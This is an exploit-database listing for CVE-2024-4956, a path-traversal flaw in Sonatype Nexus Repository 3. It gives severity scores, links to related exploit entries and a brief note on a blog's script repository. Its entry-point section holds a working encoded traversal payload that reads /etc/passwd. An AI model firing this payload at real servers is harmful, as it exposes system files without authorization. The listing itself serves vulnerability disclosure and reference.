Exploit for CVE-2024-4956

kitploit · 2026-08-26

Description

Scripts and tools for Sonatype Nexus CVE-2024-4956 from the Art of Defence blog.

Entry point

ParameterfilePath · path

Path/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd

Path traversal via crafted filePath to read /etc/passwd

All known vulnerabilities by product

Nexus Repository Manager Sonatype Nexus Repository 3

CVSS 7.5 for CVE-2024-4956

7.5

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:NONE

Availability:NONE

EPSS Score

18.2%higher than 97.0% of all CVEs

Updated 2026-08-28

CVE Information

Exploit Details

Modified:2026-08-26 07:35

Last Seen:2026-08-26 08:21

Reporter:KitPloit

Tags

Sonatype NexusCVE-2024-4956scriptstoolsArt of Defence

Other exploits for CVE-2024-4956

CVE-2024-4956-PoC

2026-08-28 KitPloitKITPLOIT

CVE-2024-4956-Bulk-Scanner

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-28 KitPloitKITPLOIT

2026-08-27 KitPloitKITPLOIT

Exploit Code

MARKDOWN4 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ART-OF-DEFENCE-CVE-2024-4956
Um repositório de scripts que foram produzidos como parte do meu blog "Art of Defence".

Art-of-Defence - Sonatype Nexus CVE-2024-4956: